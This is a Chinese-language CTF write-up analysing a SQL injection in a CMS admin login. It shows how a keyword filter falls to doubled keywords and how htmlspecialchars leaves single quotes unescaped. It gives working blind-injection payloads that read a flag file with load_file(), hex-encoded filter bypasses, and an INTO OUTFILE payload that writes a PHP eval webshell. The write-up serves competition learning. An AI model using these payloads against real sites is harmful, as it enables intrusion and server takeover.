某CTF线下赛某CMS SQL注入分析

CTF 作者: tinyfisher
2018-03-28 3,420

前段时间,参加一次CTF线下攻防赛,用的是某cms,里面有一个SQL注入漏洞,挺有意思,记录一下分析心得。

系统后台登陆处存在SQL注入,在后台登陆用户名处加个’测试一下:

image.png

发现报错,十有八九存在SQL注入

image.png

看下/admin/login.php内容:

image.png

在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),跟进check_login()看下:

image.png

在fun.php的971行可以看到SQL语句对user参数进行了拼接,猜测fl_value()和fl_html()是对user进行过滤,跟进分别看下:

image.png

在fun.php的1755行,fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空。SQL绕过方法,双写绕WAF fl_value,不过这个waf够奇葩,有的关键字是没有空格的,比如“select”,有的关键字前后需要加空格,比如“  in  ”,最终的绕过方法:

select=>selecselectt
from=>fro from m
where=>wher where e
union=>unio union n
load_file不变
outfile=>outfiloutfilee

  这里再说下fl_html(),即htmlspecialchars(),这个函数主要进行html实体编码,用来防止XSS:

&(和号) 成为&

" (双引号) 成为 "

' (单引号) 成为 '

< (小于) 成为 &lt;

> (大于) 成为 &gt;

需要注意的是,htmlspecialchars()默认仅编码双引号,并不对单引号进行处理

htmlspecialchars(string,flags,character-set,double_encode)

ENT_COMPAT - 默认。仅编码双引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。

这也就是为什么加了单引号会直接报错的原因。有了SQL注入,如何拿flag?

1.       思路一:load_file()

尝试利用select load_file()读取flag,不过系统开启了本secure-file-priv特性

image.png

secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()文件导入导出的路径

ure_file_priv的值为null ,表示限制mysqld 不允许导入,导出

secure_file_priv的值为/var/lib/mysql-files/ ,表示限制mysqld 的导入|导出只能发生在/var/lib/mysql-files/目录下

secure_file_priv的值没有具体值时,表示不对mysqld 的导入,导出做限制。

假设此处secure_file_priv为空,我们改怎么利用sql注入读取flag,我在/var/lib/mysql-files/创建了一个flag进行测试。

盲注

user=admin'  an and d 1%23&password=aaa&code=8bae&submit=true&submit.x=36&submit.y=27

返回密码不正确

image.png

user=admin'  an and d 0%23&password=aaa&code=8bae&submit=true&submit.x=36&submit.y=27

  返回不存在该管理用户

image.png

Ok,返回不同的页面,我们可以根据不同的页面进行猜测,就是盲注,首先才flag长度,Payload:

user=admin'  an and d  (length(load_file('/var/lib/mysql-files/flag')) between 11 a and nd 11)%23&password=aaa&code=ed1f&submit=true&submit.x=36&submit.y=27

为什么用between 11 a and nd 11?因为=被fl_value过滤, > <被fl_html编码。还有什么办法可以绕过么?利用16进制编码,payload:

( load_file('/var/lib/mysql-files/flag') =11) 
Hex编码为:
0x28206c6f61645f66696c6528272f7661722f6c69622f6d7973716c2d66696c65732f666c61672729203d313129
Payload:
user=admin'  an and d  0x28206c6f61645f66696c6528272f7661722f6c69622f6d7973716c2d66696c65732f666c61672729203d313129%23&password=aaa&code=f6ad&submit=true&submit.x=36&submit.y=27

Flag长度为11,在进行逐个猜解即可:

user=admin'  an and d  (ord(substr((load_file('/var/lib/mysql-files/flag')),1,1)) between 0x66 a and nd 0x66)%23&password=aaa&code=7a75&submit=true&submit.x=36&submit.y=27

也可以利用时间盲注,payload:

user=admin'  an and d  if((ord(substr((load_file('/var/lib/mysql-files/flag')),1,1)) between 0x67 a and nd 
0x67),1,sleep(5))%23&password=aaa&code=3d8b&submit=true&submit.x=36&submit.y=27

   还是假设secure-file-priv为空,我们改怎么利用sql注入写shell:

user=admin' un union ion selecselectt 1,2,3,4,'<?php @eval($_POST[c]);?>' i into nto ououtfiletfile '/var/lib/mysql-files/test1.php'#&password=ss&code=c4a3&submit=true&submit.x=62&submit.y=20

image.png

这个payload中的<>会被fl_html()编码,怎么绕过?16进制编码

user=admin' un union ion selecselectt 
1,2,3,4,0x3c3f70687020406576616c28245f504f53545b635d293b3f3e i into nto ououtfiletfile '/var/lib/mysql-files/test2.php'#&password=ss&code=7318&submit=true&submit.x=62&submit.y=20

此时我们在/var/lib/mysql-files/写入了test2.php这个一句话木马:

image.png

至此,就可以通过webshell拿到服务器web权限。

Tags:
奖励积分:15     奖励金币:15

评论  (0)
快来写下你的想法吧!

tinyfisher

文章数:6 积分: 60

邮子

关注我们

合作伙伴